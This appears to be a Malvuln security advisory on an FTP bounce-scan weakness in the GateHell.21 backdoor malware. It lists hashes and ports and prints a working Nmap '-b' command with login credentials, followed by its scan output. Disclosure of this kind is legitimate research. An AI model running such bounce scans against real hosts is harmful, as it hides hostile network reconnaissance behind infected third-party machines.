Backdoor.Win32.GateHell.21 Man-In-The-Middle

Backdoor.Win32.GateHell.21 malware suffers from a man-in-the-middle vulnerability.

MD5 | d425bad021d02d35e1751345df717b53

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.GateHell.21
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Family: GateHell
Type: PE32
MD5: 5aa81ddc996be64116754efac0e4f55d
Vuln ID: MVID-2022-0560
Disclosure: 04/18/2022

C:\>nmap -n -Pn -b malvuln:[email protected]:5301 -p21,22,80 -v
Starting Nmap 7.80 ( ) at 2022-04-18 12:46 UTC-11
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://malvuln:[email protected]:5301
Connected:220 ICS FTP Server ready.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:46
Discovered open port 80/tcp on
Completed Bounce Scan at 12:46, 2.11s elapsed (3 total ports)
Nmap scan report for
Host is up.

21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds

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